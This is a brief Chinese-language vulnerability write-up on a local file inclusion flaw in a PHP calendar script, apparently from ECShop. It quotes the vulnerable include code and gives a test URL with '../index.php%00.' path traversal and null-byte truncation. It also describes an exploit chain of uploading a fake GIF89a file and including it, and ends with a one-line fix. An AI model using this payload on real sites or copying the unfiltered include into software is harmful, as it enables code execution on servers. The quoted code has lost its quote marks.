$lang = (!empty($_GET[lang]))
? trim($_GET[lang]) : zh_cn;//没有过滤,很明显的包含漏洞

if (!file_exists(../languages/ . $lang . /calendar.php))
{
$lang = zh_cn;
}

require(dirname(dirname(__FILE__)) . /data/config.php);
header(Content-type: application/x-javascript; charset= . EC_CHARSET);

include_once(../languages/ . $lang . /calendar.php);//这里包含,需要截断

测试代码 :

// 需要 magic_quotes_gpc = Off

/js/calendar.php?lang=../index.php%00.(注意后面有个.)
利用:

注册用户

然后上传GIF89a头的GIF文件欺骗,

然后包含 如:[img]%00.

作者: ℡Mr.LP

修复:正确过滤和截断